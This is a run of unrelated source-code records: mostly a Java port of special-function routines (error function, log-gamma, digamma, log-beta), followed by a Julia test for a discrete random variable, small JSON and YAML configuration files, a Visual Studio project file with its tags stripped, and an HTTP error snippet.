1.0));\n } else {\n h = b / a;\n r0 = 1.0 / (h + 1.0);\n r1 = (b - a) / a;\n w0 = 1.0 / sqrt(b * (h + 1.0));\n }\n\n a0[0] = r1 * .66666666666666663;\n c[0] = a0[0] * -0.5;\n d[0] = -c[0];\n double j0 = 0.5 / e0 * erfc1(1, z0);\n double j1 = e1;\n double sum = j0 + d[0] * w0 * j1;\n\n double s = 1.0;\n double h2 = h * h;\n double hn = 1.0;\n double w = w0;\n double znm1 = z;\n double zn = z2;\n for (int n = 2; n <= num_IT; n += 2) {\n hn *= h2;\n a0[n - 1] = r0 * 2.0 * (h * hn + 1.0) / (n + 2.0);\n int np1 = n + 1;\n s += hn;\n a0[np1 - 1] = r1 * 2.0 * s / (n + 3.0);\n\n for (int i = n; i <= np1; ++i) {\n double r = (i + 1.0) * -0.5;\n b0[0] = r * a0[0];\n for (int m = 2; m <= i; ++m) {\n double bsum = 0.0;\n for (int j = 1; j <= m - 1; ++j) {\n int mmj = m - j;\n bsum += (j * r - mmj) * a0[j - 1] * b0[mmj - 1];\n }\n b0[m - 1] = r * a0[m - 1] + bsum / m;\n }\n c[i - 1] = b0[i - 1] / (i + 1.0);\n\n double dsum = 0.0;\n for (int j = 1; j <= i - 1; ++j) {\n dsum += d[i - j - 1] * c[j - 1];\n }\n d[i - 1] = -(dsum + c[i - 1]);\n }\n\n j0 = e1 * znm1 + (n - 1.0) * j0;\n j1 = e1 * zn + n * j1;\n znm1 = z2 * znm1;\n zn = z2 * zn;\n w *= w0;\n double t0 = d[n - 1] * w * j0;\n w *= w0;\n double t1 = d[np1 - 1] * w * j1;\n sum += t0 + t1;\n if (fabs(t0) + fabs(t1) <= eps * sum) {\n break;\n }\n }\n\n if (logP) {\n return lnE0 + t - bcorr(a, b) + log(sum);\n } else {\n double u = exp(-bcorr(a, b));\n return e0 * t * u * sum;\n }\n } /* basym_ */\n\n static double exparg(int l) {\n /* -------------------------------------------------------------------- */\n /*\n * IF L = 0 THEN EXPARG(L) = THE LARGEST POSITIVE W FOR WHICH EXP(W) CAN BE COMPUTED. ==>\n * exparg(0) = 709.7827 nowadays.\n */\n\n /*\n * IF L IS NONZERO THEN EXPARG(L) = THE LARGEST NEGATIVE W FOR WHICH THE COMPUTED VALUE OF\n * EXP(W) IS NONZERO. ==> exparg(1) = -708.3964 nowadays.\n */\n\n /* Note... only an approximate value for exparg(L) is needed. */\n /* -------------------------------------------------------------------- */\n\n double lnb = .69314718055995;\n int m = (l == 0) ? i1mach(16) : i1mach(15) - 1;\n\n return m * lnb * .99999;\n } /* exparg */\n\n static double esum(int mu, double x, boolean giveLog) {\n /* ----------------------------------------------------------------------- */\n /* EVALUATION OF EXP(MU + X) */\n /* ----------------------------------------------------------------------- */\n\n if (giveLog) {\n return x + mu;\n }\n\n // else :\n double w;\n if (x > 0.0) { /* L10: */\n if (mu > 0) {\n return exp(mu) * exp(x);\n }\n w = mu + x;\n if (w < 0.0) {\n return exp(mu) * exp(x);\n }\n } else { /* x <= 0 */\n if (mu < 0) {\n return exp(mu) * exp(x);\n }\n w = mu + x;\n if (w > 0.0) {\n return exp(mu) * exp(x);\n }\n }\n return exp(w);\n } /* esum */\n\n private static double rexpm1(double x) {\n /* ----------------------------------------------------------------------- */\n /* EVALUATION OF THE FUNCTION EXP(X) - 1 */\n /* ----------------------------------------------------------------------- */\n\n double p1 = 9.14041914819518e-10;\n double p2 = .0238082361044469;\n double q1 = -.499999999085958;\n double q2 = .107141568980644;\n double q3 = -.0119041179760821;\n double q4 = 5.95130811860248e-4;\n\n if (fabs(x) <= 0.15) {\n return x * (((p2 * x + p1) * x + 1.0) / ((((q4 * x + q3) * x + q2) * x + q1) * x + 1.0));\n } else { /* |x| > 0.15 : */\n double w = exp(x);\n if (x > 0.0) {\n return w * (0.5 - 1.0 / w + 0.5);\n } else {\n return w - 0.5 - 0.5;\n }\n }\n } /* rexpm1 */\n\n static double alnrel(double a) {\n /*\n * ----------------------------------------------------------------------- Evaluation of the\n * function ln(1 + a)\n * -----------------------------------------------------------------------\n */\n\n if (fabs(a) > 0.375) {\n return log(1. + a);\n }\n // else : |a| <= 0.375\n double p1 = -1.29418923021993;\n double p2 = .405303492862024;\n double p3 = -.0178874546012214;\n double q1 = -1.62752256355323;\n double q2 = .747811014037616;\n double q3 = -.0845104217945565;\n double t = a / (a + 2.0);\n double t2 = t * t;\n double w = (((p3 * t2 + p2) * t2 + p1) * t2 + 1.) / (((q3 * t2 + q2) * t2 + q1) * t2 + 1.);\n return t * 2.0 * w;\n\n } /* alnrel */\n\n static double rlog1(double x) {\n /*\n * ----------------------------------------------------------------------- Evaluation of the\n * function x - ln(1 + x)\n * -----------------------------------------------------------------------\n */\n\n double a = .0566749439387324;\n double b = .0456512608815524;\n double p0 = .333333333333333;\n double p1 = -.224696413112536;\n double p2 = .00620886815375787;\n double q1 = -1.27408923933623;\n double q2 = .354508718369557;\n\n if (x < -0.39 || x > 0.57) { /* direct evaluation */\n double w = x + 0.5 + 0.5;\n return x - log(w);\n }\n double h;\n double w1;\n /* else */\n if (x < -0.18) { /* L10: */\n h = x + .3;\n h /= .7;\n w1 = a - h * .3;\n } else if (x > 0.18) { /* L20: */\n h = x * .75 - .25;\n w1 = b + h / 3.0;\n } else { /* Argument Reduction */\n h = x;\n w1 = 0.0;\n }\n\n /* L30: Series Expansion */\n\n double r = h / (h + 2.0);\n double t = r * r;\n double w = ((p2 * t + p1) * t + p0) / ((q2 * t + q1) * t + 1.0);\n return t * 2.0 * (1.0 / (1.0 - r) - r * w) + w1;\n\n } /* rlog1 */\n\n static double erf(double x) {\n /*\n * ----------------------------------------------------------------------- EVALUATION OF THE\n * REAL ERROR FUNCTION\n * -----------------------------------------------------------------------\n */\n\n /* Initialized data */\n\n double c = .564189583547756;\n double[] a = {7.7105849500132e-5, -.00133733772997339, .0323076579225834, .0479137145607681, .128379167095513};\n double[] b = {.00301048631703895, .0538971687740286, .375795757275549};\n double[] p = {-1.36864857382717e-7, .564195517478974, 7.21175825088309, 43.1622272220567, 152.98928504694, 339.320816734344, 451.918953711873, 300.459261020162};\n double[] q = {1., 12.7827273196294, 77.0001529352295, 277.585444743988, 638.980264465631, 931.35409485061, 790.950925327898, 300.459260956983};\n double[] r = {2.10144126479064, 26.2370141675169, 21.3688200555087, 4.6580782871847, .282094791773523};\n double[] s = {94.153775055546, 187.11481179959, 99.0191814623914, 18.0124575948747};\n\n /* System generated locals */\n\n double ax = fabs(x);\n if (ax <= 0.5) {\n double t = x * x;\n double top = (((a[0] * t + a[1]) * t + a[2]) * t + a[3]) * t + a[4] + 1.0;\n double bot = ((b[0] * t + b[1]) * t + b[2]) * t + 1.0;\n\n return x * (top / bot);\n }\n /* else: ax > 0.5 */\n\n if (ax <= 4.) { /* ax in (0.5, 4] */\n double top = ((((((p[0] * ax + p[1]) * ax + p[2]) * ax + p[3]) * ax + p[4]) * ax + p[5]) * ax + p[6]) * ax + p[7];\n double bot = ((((((q[0] * ax + q[1]) * ax + q[2]) * ax + q[3]) * ax + q[4]) * ax + q[5]) * ax + q[6]) * ax + q[7];\n double retVal = 0.5 - exp(-x * x) * top / bot + 0.5;\n if (x < 0.0) {\n retVal = -retVal;\n }\n return retVal;\n }\n\n /* else: ax > 4 */\n\n if (ax >= 5.8) {\n return x > 0 ? 1 : -1;\n }\n double x2 = x * x;\n double t = 1.0 / x2;\n double top = (((r[0] * t + r[1]) * t + r[2]) * t + r[3]) * t + r[4];\n double bot = (((s[0] * t + s[1]) * t + s[2]) * t + s[3]) * t + 1.0;\n t = (c - top / (x2 * bot)) / ax;\n double retVal = 0.5 - exp(-x2) * t + 0.5;\n if (x < 0.0) {\n retVal = -retVal;\n }\n return retVal;\n\n } /* erf */\n\n static double erfc1(int ind, double x) {\n /* ----------------------------------------------------------------------- */\n /* EVALUATION OF THE COMPLEMENTARY ERROR FUNCTION */\n\n /* ERFC1(IND,X) = ERFC(X) IF IND = 0 */\n /* ERFC1(IND,X) = EXP(X*X)*ERFC(X) OTHERWISE */\n /* ----------------------------------------------------------------------- */\n\n /* Initialized data */\n\n double c = .564189583547756;\n double[] a = {7.7105849500132e-5, -.00133733772997339, .0323076579225834, .0479137145607681, .128379167095513};\n double[] b = {.00301048631703895, .0538971687740286, .375795757275549};\n double[] p = {-1.36864857382717e-7, .564195517478974, 7.21175825088309, 43.1622272220567, 152.98928504694, 339.320816734344, 451.918953711873, 300.459261020162};\n double[] q = {1., 12.7827273196294, 77.0001529352295, 277.585444743988, 638.980264465631, 931.35409485061, 790.950925327898, 300.459260956983};\n double[] r = {2.10144126479064, 26.2370141675169, 21.3688200555087, 4.6580782871847, .282094791773523};\n double[] s = {94.153775055546, 187.11481179959, 99.0191814623914, 18.0124575948747};\n\n double ax = fabs(x);\n // |X| <= 0.5 */\n if (ax <= 0.5) {\n double t = x * x;\n double top = (((a[0] * t + a[1]) * t + a[2]) * t + a[3]) * t + a[4] + 1.0;\n double bot = ((b[0] * t + b[1]) * t + b[2]) * t + 1.0;\n double retVal = 0.5 - x * (top / bot) + 0.5;\n if (ind != 0) {\n retVal = exp(t) * retVal;\n }\n return retVal;\n }\n double retVal;\n // else (L10:): 0.5 < |X| <= 4\n if (ax <= 4.0) {\n double top = ((((((p[0] * ax + p[1]) * ax + p[2]) * ax + p[3]) * ax + p[4]) * ax + p[5]) * ax + p[6]) * ax + p[7];\n double bot = ((((((q[0] * ax + q[1]) * ax + q[2]) * ax + q[3]) * ax + q[4]) * ax + q[5]) * ax + q[6]) * ax + q[7];\n retVal = top / bot;\n } else { // |X| > 4\n // L20:\n if (x <= -5.6) {\n // L50: LIMIT VALUE FOR \"LARGE\" NEGATIVE X\n retVal = 2.0;\n if (ind != 0) {\n retVal = exp(x * x) * 2.0;\n }\n return retVal;\n }\n if (ind == 0 && (x > 100.0 || x * x > -exparg(1))) {\n // LIMIT VALUE FOR LARGE POSITIVE X WHEN IND = 0\n // L60:\n return 0.0;\n }\n\n // L30:\n double t = 1. / (x * x);\n double top = (((r[0] * t + r[1]) * t + r[2]) * t + r[3]) * t + r[4];\n double bot = (((s[0] * t + s[1]) * t + s[2]) * t + s[3]) * t + 1.0;\n retVal = (c - t * top / bot) / ax;\n }\n\n // L40: FINAL ASSEMBLY\n if (ind != 0) {\n if (x < 0.0) {\n retVal = exp(x * x) * 2.0 - retVal;\n }\n } else {\n // L41: ind == 0 :\n double w = x * x;\n double t = w;\n double e = w - t;\n retVal = (0.5 - e + 0.5) * exp(-t) * retVal;\n if (x < 0.0) {\n retVal = 2.0 - retVal;\n }\n }\n return retVal;\n\n } /* erfc1 */\n\n static double gam1(double a) {\n /* ------------------------------------------------------------------ */\n /* COMPUTATION OF 1/GAMMA(A+1) - 1 FOR -0.5 <= A <= 1.5 */\n /* ------------------------------------------------------------------ */\n\n double t = a;\n double d = a - 0.5;\n // t := if(a > 1/2) a-1 else a\n if (d > 0.0) {\n t = d - 0.5;\n }\n if (t < 0.0) { /* L30: */\n double[] r = {-.422784335098468, -.771330383816272, -.244757765222226, .118378989872749, 9.30357293360349e-4, -.0118290993445146, .00223047661158249, 2.66505979058923e-4,\n -1.32674909766242e-4};\n double s1 = .273076135303957;\n double s2 = .0559398236957378;\n\n double top = (((((((r[8] * t + r[7]) * t + r[6]) * t + r[5]) * t + r[4]) * t + r[3]) * t + r[2]) * t + r[1]) * t + r[0];\n double bot = (s2 * t + s1) * t + 1.0;\n double w = top / bot;\n debugPrintf(\" gam1(a = %.15f): t < 0: w=%.15f\\n\", a, w);\n if (d > 0.0) {\n return t * w / a;\n } else {\n return a * (w + 0.5 + 0.5);\n }\n } else if (t == 0) { // L10: a in {0, 1}\n return 0.;\n\n } else { /* t > 0; L20: */\n double[] p = {.577215664901533, -.409078193005776, -.230975380857675, .0597275330452234, .0076696818164949, -.00514889771323592, 5.89597428611429e-4};\n double[] q = {1., .427569613095214, .158451672430138, .0261132021441447, .00423244297896961};\n\n double top = (((((p[6] * t + p[5]) * t + p[4]) * t + p[3]) * t + p[2]) * t + p[1]) * t + p[0];\n double bot = (((q[4] * t + q[3]) * t + q[2]) * t + q[1]) * t + 1.0;\n double w = top / bot;\n debugPrintf(\" gam1(a = %.15f): t > 0: (is a < 1.5 ?) w=%.15f\\n\", a, w);\n if (d > 0.0) { /* L21: */\n return t / a * (w - 0.5 - 0.5);\n } else {\n return a * w;\n }\n }\n } /* gam1 */\n\n static double gamln1(double a) {\n /* ----------------------------------------------------------------------- */\n /* EVALUATION OF LN(GAMMA(1 + A)) FOR -0.2 <= A <= 1.25 */\n /* ----------------------------------------------------------------------- */\n\n double w;\n if (a < 0.6) {\n double p0 = .577215664901533;\n double p1 = .844203922187225;\n double p2 = -.168860593646662;\n double p3 = -.780427615533591;\n double p4 = -.402055799310489;\n double p5 = -.0673562214325671;\n double p6 = -.00271935708322958;\n double q1 = 2.88743195473681;\n double q2 = 3.12755088914843;\n double q3 = 1.56875193295039;\n double q4 = .361951990101499;\n double q5 = .0325038868253937;\n double q6 = 6.67465618796164e-4;\n w = ((((((p6 * a + p5) * a + p4) * a + p3) * a + p2) * a + p1) * a + p0) / ((((((q6 * a + q5) * a + q4) * a + q3) * a + q2) * a + q1) * a + 1.);\n return -(a) * w;\n } else { /* 0.6 <= a <= 1.25 */\n double r0 = .422784335098467;\n double r1 = .848044614534529;\n double r2 = .565221050691933;\n double r3 = .156513060486551;\n double r4 = .017050248402265;\n double r5 = 4.97958207639485e-4;\n double s1 = 1.24313399877507;\n double s2 = .548042109832463;\n double s3 = .10155218743983;\n double s4 = .00713309612391;\n double s5 = 1.16165475989616e-4;\n double x = a - 0.5 - 0.5;\n w = (((((r5 * x + r4) * x + r3) * x + r2) * x + r1) * x + r0) / (((((s5 * x + s4) * x + s3) * x + s2) * x + s1) * x + 1.0);\n return x * w;\n }\n } /* gamln1 */\n\n static double psi(double initialX) {\n double x = initialX;\n /*\n * ---------------------------------------------------------------------\n *\n * Evaluation of the Digamma function psi(x)\n *\n * -----------\n *\n * Psi(xx) is assigned the value 0 when the digamma function cannot be computed.\n *\n * The main computation involves evaluation of rational Chebyshev approximations published\n * in Math. Comp. 27, 123-127(1973) by Cody, Strecok and Thacher.\n */\n\n /* --------------------------------------------------------------------- */\n /* Psi was written at Argonne National Laboratory for the FUNPACK */\n /* package of special function subroutines. Psi was modified by */\n /* A.H. Morris (NSWC). */\n /* --------------------------------------------------------------------- */\n\n double piov4 = .785398163397448; /* == pi / 4 */\n /* dx0 = zero of psi() to extended precision : */\n double dx0 = 1.461632144968362341262659542325721325;\n\n /* --------------------------------------------------------------------- */\n /* COEFFICIENTS FOR RATIONAL APPROXIMATION OF */\n /* PSI(X) / (X - X0), 0.5 <= X <= 3.0 */\n double[] p1 = {.0089538502298197, 4.77762828042627, 142.441585084029, 1186.45200713425, 3633.51846806499, 4138.10161269013, 1305.60269827897};\n double[] q1 = {44.8452573429826, 520.752771467162, 2210.0079924783, 3641.27349079381, 1908.310765963, 6.91091682714533e-6};\n /* --------------------------------------------------------------------- */\n\n /* --------------------------------------------------------------------- */\n /* COEFFICIENTS FOR RATIONAL APPROXIMATION OF */\n /* PSI(X) - LN(X) + 1 / (2*X), X > 3.0 */\n\n double[] p2 = {-2.12940445131011, -7.01677227766759, -4.48616543918019, -.648157123766197};\n double[] q2 = {32.2703493791143, 89.2920700481861, 54.6117738103215, 7.77788548522962};\n /* --------------------------------------------------------------------- */\n\n /* MACHINE DEPENDENT CONSTANTS ... */\n\n /* --------------------------------------------------------------------- */\n /*\n * XMAX1 = THE SMALLEST POSITIVE FLOATING POINT CONSTANT WITH ENTIRELY INT REPRESENTATION.\n * ALSO USED AS NEGATIVE OF LOWER BOUND ON ACCEPTABLE NEGATIVE ARGUMENTS AND AS THE POSITIVE\n * ARGUMENT BEYOND WHICH PSI MAY BE REPRESENTED AS LOG(X). Originally: xmax1 =\n * amin1(ipmpar(3), 1./spmpar(1))\n */\n double xmax1 = INT_MAX;\n double d2 = 0.5 / d1mach(3); /* = 0.5 / (0.5 * DBL_EPS) = 1/DBL_EPSILON = 2^52 */\n if (xmax1 > d2) {\n xmax1 = d2;\n }\n\n /* --------------------------------------------------------------------- */\n /* XSMALL = ABSOLUTE ARGUMENT BELOW WHICH PI*COTAN(PI*X) */\n /* MAY BE REPRESENTED BY 1/X. */\n double xsmall = 1e-9;\n /* --------------------------------------------------------------------- */\n double aug = 0.0;\n if (x < 0.5) {\n /* --------------------------------------------------------------------- */\n /* X < 0.5, USE REFLECTION FORMULA */\n /* PSI(1-X) = PSI(X) + PI * COTAN(PI*X) */\n /* --------------------------------------------------------------------- */\n if (fabs(x) <= xsmall) {\n\n if (x == 0.0) {\n // goto L_err;\n return 0.;\n }\n /* --------------------------------------------------------------------- */\n /* 0 < |X| <= XSMALL. USE 1/X AS A SUBSTITUTE */\n /* FOR PI*COTAN(PI*X) */\n /* --------------------------------------------------------------------- */\n aug = -1.0 / x;\n } else { /* |x| > xsmall */\n /* --------------------------------------------------------------------- */\n /* REDUCTION OF ARGUMENT FOR COTAN */\n /* --------------------------------------------------------------------- */\n /* L100: */\n double w = -x;\n double sgn = piov4;\n if (w <= 0.0) {\n w = -w;\n sgn = -sgn;\n }\n /* --------------------------------------------------------------------- */\n /* MAKE AN ERROR EXIT IF |X| >= XMAX1 */\n /* --------------------------------------------------------------------- */\n if (w >= xmax1) {\n // goto L_err;\n return 0.;\n }\n int nq = (int) w;\n w -= nq;\n nq = (int) (w * 4.0);\n w = (w - nq * 0.25) * 4.0;\n /* --------------------------------------------------------------------- */\n /* W IS NOW RELATED TO THE FRACTIONAL PART OF 4.0 * X. */\n /* ADJUST ARGUMENT TO CORRESPOND TO VALUES IN FIRST */\n /* QUADRANT AND DETERMINE SIGN */\n /* --------------------------------------------------------------------- */\n int n = nq / 2;\n if (n + n != nq) {\n w = 1.0 - w;\n }\n double z = piov4 * w;\n int m = n / 2;\n if (m + m != n) {\n sgn = -sgn;\n }\n /* --------------------------------------------------------------------- */\n /* DETERMINE FINAL VALUE FOR -PI*COTAN(PI*X) */\n /* --------------------------------------------------------------------- */\n n = (nq + 1) / 2;\n m = n / 2;\n m += m;\n if (m == n) {\n /* --------------------------------------------------------------------- */\n /* CHECK FOR SINGULARITY */\n /* --------------------------------------------------------------------- */\n if (z == 0.0) {\n // goto L_err;\n return 0.;\n }\n /* --------------------------------------------------------------------- */\n /* USE COS/SIN AS A SUBSTITUTE FOR COTAN, AND */\n /* SIN/COS AS A SUBSTITUTE FOR TAN */\n /* --------------------------------------------------------------------- */\n aug = sgn * (cos(z) / sin(z) * 4.0);\n\n } else { /* L140: */\n aug = sgn * (sin(z) / cos(z) * 4.0);\n }\n }\n\n x = 1.0 - x;\n\n }\n /* L200: */\n if (x <= 3.0) {\n /* --------------------------------------------------------------------- */\n /* 0.5 <= X <= 3.0 */\n /* --------------------------------------------------------------------- */\n double den = x;\n double upper = p1[0] * x;\n\n for (int i = 1; i <= 5; ++i) {\n den = (den + q1[i - 1]) * x;\n upper = (upper + p1[i]) * x;\n }\n\n den = (upper + p1[6]) / (den + q1[5]);\n double xmx0 = x - dx0;\n return den * xmx0 + aug;\n }\n\n /* --------------------------------------------------------------------- */\n /* IF X >= XMAX1, PSI = LN(X) */\n /* --------------------------------------------------------------------- */\n if (x < xmax1) {\n /* --------------------------------------------------------------------- */\n /* 3.0 < X < XMAX1 */\n /* --------------------------------------------------------------------- */\n double w = 1.0 / (x * x);\n double den = w;\n double upper = p2[0] * w;\n\n for (int i = 1; i <= 3; ++i) {\n den = (den + q2[i - 1]) * w;\n upper = (upper + p2[i]) * w;\n }\n\n aug = upper / (den + q2[3]) - 0.5 / x + aug;\n }\n return aug + log(x);\n\n /* --------------------------------------------------------------------- */\n /* ERROR RETURN */\n /* --------------------------------------------------------------------- */\n // L_err:\n // return 0.;\n } /* psi */\n\n static double betaln(double a0, double b0) {\n /*\n * ----------------------------------------------------------------------- Evaluation of the\n * logarithm of the beta function ln(beta(a0,b0))\n * -----------------------------------------------------------------------\n */\n\n double e = .918938533204673; // e == 0.5*LN(2*PI)\n\n double a = min(a0, b0);\n double b = max(a0, b0);\n\n if (a < 8.0) {\n if (a < 1.0) {\n /* ----------------------------------------------------------------------- */\n // A < 1\n /* ----------------------------------------------------------------------- */\n if (b < 8.0) {\n return gamln(a) + (gamln(b) - gamln(a + b));\n } else {\n return gamln(a) + algdiv(a, b);\n }\n }\n /* else */\n /* ----------------------------------------------------------------------- */\n // 1 <= A < 8\n /* ----------------------------------------------------------------------- */\n double w = 0.0;\n boolean doL40 = false;\n if (a < 2.0) {\n if (b <= 2.0) {\n return gamln(a) + gamln(b) - gsumln(a, b);\n }\n /* else */\n\n w = 0.0;\n if (b < 8.0) {\n doL40 = true;\n } else {\n return gamln(a) + algdiv(a, b);\n }\n }\n // else L30: REDUCTION OF A WHEN B <= 1000\n\n if (doL40 || b <= 1e3) {\n int n;\n if (!doL40) {\n n = (int) (a - 1.0);\n w = 1.0;\n for (int i = 1; i <= n; ++i) {\n a += -1.0;\n double h = a / b;\n w *= h / (h + 1.0);\n }\n w = log(w);\n\n if (b >= 8.0) {\n return w + gamln(a) + algdiv(a, b);\n }\n }\n // else\n // L40:\n // reduction of B when B < 8\n n = (int) (b - 1.0);\n double z = 1.0;\n for (int i = 1; i <= n; ++i) {\n b += -1.0;\n z *= b / (a + b);\n }\n return w + log(z) + (gamln(a) + (gamln(b) - gsumln(a, b)));\n } else { // L50: reduction of A when B > 1000\n int n = (int) (a - 1.0);\n w = 1.0;\n for (int i = 1; i <= n; ++i) {\n a += -1.0;\n w *= a / (a / b + 1.0);\n }\n return log(w) - n * log(b) + (gamln(a) + algdiv(a, b));\n }\n } else {\n /* ----------------------------------------------------------------------- */\n // L60: A >= 8\n /* ----------------------------------------------------------------------- */\n\n double w = bcorr(a, b);\n double h = a / b;\n double u = -(a - 0.5) * log(h / (h + 1.0));\n double v = b * alnrel(h);\n if (u > v) {\n return log(b) * -0.5 + e + w - v - u;\n } else {\n return log(b) * -0.5 + e + w - u - v;\n }\n }\n } /* betaln */\n\n static double gsumln(double a, double b) {\n /* ----------------------------------------------------------------------- */\n /* EVALUATION OF THE FUNCTION LN(GAMMA(A + B)) */\n /* FOR 1 <= A <= 2 AND 1 <= B <= 2 */\n /* ----------------------------------------------------------------------- */\n\n double x = a + b - 2.; // in [0, 2]\n\n if (x <= 0.25) {\n return gamln1(x + 1.0);\n }\n\n /* else */\n if (x <= 1.25) {\n return gamln1(x) + alnrel(x);\n }\n /* else x > 1.25 : */\n return gamln1(x - 1.0) + log(x * (x + 1.0));\n } /* gsumln */\n\n static double bcorr(double a0, double b0) {\n /* ----------------------------------------------------------------------- */\n\n /* EVALUATION OF DEL(A0) + DEL(B0) - DEL(A0 + B0) WHERE */\n /* LN(GAMMA(A)) = (A - 0.5)*LN(A) - A + 0.5*LN(2*PI) + DEL(A). */\n /* IT IS ASSUMED THAT A0 >= 8 AND B0 >= 8. */\n\n /* ----------------------------------------------------------------------- */\n /* Initialized data */\n\n double c0 = .0833333333333333;\n double c1 = -.00277777777760991;\n double c2 = 7.9365066682539e-4;\n double c3 = -5.9520293135187e-4;\n double c4 = 8.37308034031215e-4;\n double c5 = -.00165322962780713;\n\n /* ------------------------ */\n double a = min(a0, b0);\n double b = max(a0, b0);\n\n double h = a / b;\n double c = h / (h + 1.0);\n double x = 1.0 / (h + 1.0);\n double x2 = x * x;\n\n /* SET SN = (1 - X^N)/(1 - X) */\n\n double s3 = x + x2 + 1.0;\n double s5 = x + x2 * s3 + 1.0;\n double s7 = x + x2 * s5 + 1.0;\n double s9 = x + x2 * s7 + 1.0;\n double s11 = x + x2 * s9 + 1.0;\n\n /* SET W = DEL(B) - DEL(A + B) */\n\n /* Computing 2nd power */\n double r1 = 1.0 / b;\n double t = r1 * r1;\n double w = ((((c5 * s11 * t + c4 * s9) * t + c3 * s7) * t + c2 * s5) * t + c1 * s3) * t + c0;\n w *= c / b;\n\n /* COMPUTE DEL(A) + W */\n\n /* Computing 2nd power */\n r1 = 1.0 / a;\n t = r1 * r1;\n return (((((c5 * t + c4) * t + c3) * t + c2) * t + c1) * t + c0) / a + w;\n } /* bcorr */\n\n static double algdiv(double a, double b) {\n /* ----------------------------------------------------------------------- */\n\n /* COMPUTATION OF LN(GAMMA(B)/GAMMA(A+B)) WHEN B >= 8 */\n\n /* -------- */\n\n /* IN THIS ALGORITHM, DEL(X) IS THE FUNCTION DEFINED BY */\n /* LN(GAMMA(X)) = (X - 0.5)*LN(X) - X + 0.5*LN(2*PI) + DEL(X). */\n\n /* ----------------------------------------------------------------------- */\n\n /* Initialized data */\n\n double c0 = .0833333333333333;\n double c1 = -.00277777777760991;\n double c2 = 7.9365066682539e-4;\n double c3 = -5.9520293135187e-4;\n double c4 = 8.37308034031215e-4;\n double c5 = -.00165322962780713;\n\n double h;\n double c;\n double x;\n double d;\n\n /* ------------------------ */\n if (a > b) {\n h = b / a;\n c = 1.0 / (h + 1.0);\n x = h / (h + 1.0);\n d = a + (b - 0.5);\n } else {\n h = a / b;\n c = h / (h + 1.0);\n x = 1.0 / (h + 1.0);\n d = b + (a - 0.5);\n }\n\n /* Set s = (1 - x^n)/(1 - x) : */\n\n double x2 = x * x;\n double s3 = x + x2 + 1.0;\n double s5 = x + x2 * s3 + 1.0;\n double s7 = x + x2 * s5 + 1.0;\n double s9 = x + x2 * s7 + 1.0;\n double s11 = x + x2 * s9 + 1.0;\n\n /* w := Del(b) - Del(a + b) */\n\n double t = 1. / (b * b);\n double w = ((((c5 * s11 * t + c4 * s9) * t + c3 * s7) * t + c2 * s5) * t + c1 * s3) * t + c0;\n w *= c / b;\n\n /* COMBINE THE RESULTS */\n\n double u = d * alnrel(a / b);\n double v = a * (log(b) - 1.0);\n if (u > v) {\n return w - v - u;\n } else {\n return w - u - v;\n }\n } /* algdiv */\n\n static double gamln(double a) {\n /*\n * ----------------------------------------------------------------------- Evaluation of\n * ln(gamma(a)) for positive a\n * -----------------------------------------------------------------------\n */\n /* Written by Alfred H. Morris */\n /* Naval Surface Warfare Center */\n /* Dahlgren, Virginia */\n /* ----------------------------------------------------------------------- */\n\n double d = .418938533204673; // d == 0.5*(LN(2*PI) - 1)\n\n double c0 = .0833333333333333;\n double c1 = -.00277777777760991;\n double c2 = 7.9365066682539e-4;\n double c3 = -5.9520293135187e-4;\n double c4 = 8.37308034031215e-4;\n double c5 = -.00165322962780713;\n\n if (a <= 0.8) {\n return gamln1(a) - log(a); /* ln(G(a+1)) - ln(a) == ln(G(a+1)/a) = ln(G(a)) */\n } else if (a <= 2.25) {\n return gamln1(a - 0.5 - 0.5);\n } else if (a < 10.0) {\n int n = (int) (a - 1.25);\n double t = a;\n double w = 1.0;\n for (int i = 1; i <= n; ++i) {\n t += -1.0;\n w *= t;\n }\n return gamln1(t - 1.) + log(w);\n } else { /* a >= 10 */\n double t = 1. / (a * a);\n double w = (((((c5 * t + c4) * t + c3) * t + c2) * t + c1) * t + c0) / a;\n return d + w + (a - 0.5) * (log(a) - 1.0);\n }\n } /* gamln */\n\n}\n"} +{"text": "@testset \"Testing discrete_rv.jl\" begin\n\n # set up\n n = 10\n x = rand(n)\n x ./= sum(x)\n drv = DiscreteRV(x)\n\n # test Q sums to 1\n @test drv.Q[end] ≈ 1.0\n\n # test lln\n draws = rand(drv, 100_000)\n c = counter(draws)\n counts = Vector{Float64}(undef, n)\n for i=1:n\n counts[i] = c[i]\n end\n counts ./= sum(counts)\n\n @test isapprox(maximum(abs, counts - drv.q), 0.0; atol=1e-2)\n\n draws = Vector{Int}(undef, 100_000)\n rand!(draws, drv)\n c = counter(draws)\n counts = Vector{Float64}(undef, n)\n for i=1:n\n counts[i] = c[i]\n end\n counts ./= sum(counts)\n\n @test isapprox(maximum(abs, counts - drv.q), 0.0; atol=1e-2)\n\nend # testset\n"} +{"text": "{\n \"name\": \"Field Base\",\n \"icon\": \"cogs\"\n}\n"} +{"text": "defaults: &defaults\n base_url: http://0.0.0.0:9292\n css_path: /test.css\n css_paths:\n - /test.css\n - /test2.css\n routes:\n - /\n - /new_route\n\ndevelopment:\n <<: *defaults\n\ntest:\n <<: *defaults"} +{"text": "\n\n \n \n Debug\n Win32\n \n \n Release\n Win32\n \n \n \n {EE2259BF-280D-4E0E-8A08-D77A26AE4191}\n ucnvavailperf\n Win32Proj\n \n \n \n \n \n Application\n Unicode\n true\n \n \n Application\n Unicode\n \n \n \n \n \n \n \n \n \n \n \n \n <_ProjectFileVersion>10.0.30319.1\n .\\x86\\$(Configuration)\\\n .\\x86\\$(Configuration)\\\n true\n .\\x86\\$(Configuration)\\\n .\\x86\\$(Configuration)\\\n false\n \n \n \n Disabled\n ..\\..\\..\\tools\\ctestfw;..\\..\\..\\..\\include;%(AdditionalIncludeDirectories)\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\n true\n EnableFastChecks\n MultiThreadedDebugDLL\n \n \n Level3\n EditAndContinue\n \n \n icuucd.lib;icutestd.lib;winmm.lib;%(AdditionalDependencies)\n ..\\..\\..\\..\\lib\\;%(AdditionalLibraryDirectories)\n true\n Console\n MachineX86\n \n \n \n \n MaxSpeed\n true\n ..\\..\\..\\tools\\ctestfw;..\\..\\..\\..\\include;%(AdditionalIncludeDirectories)\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\n MultiThreadedDLL\n true\n \n \n Level3\n ProgramDatabase\n \n \n icuuc.lib;icutest.lib;winmm.lib;%(AdditionalDependencies)\n ..\\..\\..\\..\\lib\\;%(AdditionalLibraryDirectories)\n true\n Console\n true\n true\n MachineX86\n \n \n \n \n \n \n \n \n\n"} +{"text": "

    HTTP error

